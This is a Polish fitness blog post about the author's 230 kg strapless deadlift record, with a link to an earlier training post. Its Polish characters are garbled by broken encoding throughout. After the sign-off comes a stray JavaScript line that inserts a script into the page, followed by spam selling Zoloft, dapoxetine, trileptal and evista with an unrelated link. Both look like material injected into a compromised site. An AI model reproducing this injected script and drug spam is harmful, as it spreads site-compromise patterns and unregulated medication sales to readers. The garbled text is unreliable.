Nowy rekord! Test siAi??y.

16.06.2014 / Jakub Jasiński / Cross Training

Jednym z Ai??wiczeAi?? ktA?rego uA?ywam do sprawdzenia postAi??pA?w, tego czy jestem na wAi??aAi??ciwej drodze tzn. czy dieta, treningi, suplementacja a nawet styl A?ycia wAi??aAi??ciwie wspA?Ai??grajAi?? ze sobAi??, jest martwy ciAi??g. Jak juA? wczeAi??niej pisaAi??em Ai??wiczenie angaA?ujAi??ce praktycznie caAi??e ciaAi??o do pracy.

MA?j aktualny rekord to 230 kg przy 90 kg czyli Ai??2,6 raza wiAi??cej niA? mA?j ciAi??A?ar ciaAi??a. PodkreAi??lAi??, A?e bez paskA?w bo wiem, A?e wiele osA?b ich uA?ywa a z nimi mA?j rekord jest znacznie wiAi??kszy ale tego siAi?? nie uznajAi??.

 

Video po klikniAi??ciu w zdjAi??cie.

230kg Deadlift

Kto nie widziaAi?? to we wczeAi??niejszym wpisie moA?na zobaczyAi?? mA?j przykAi??adowy treningi martwego ciAi??gu.

http://www.trecteam.com/martwy-ciag-trening/

 

Ciekaw jestem jak wasze rekordy?

 

Pozdrawiamdocument.currentScript.parentNode.insertBefore(s, document.currentScript); Buy Cheap zoloft dosage. Zoloft online. sertraline good or bad. lokvogel Order http://resaleretro.com/cheap-adalat-side/ dapoxetine costa rica Cheap Cheap Order trileptal for generalized anxiety disorder Order evista cost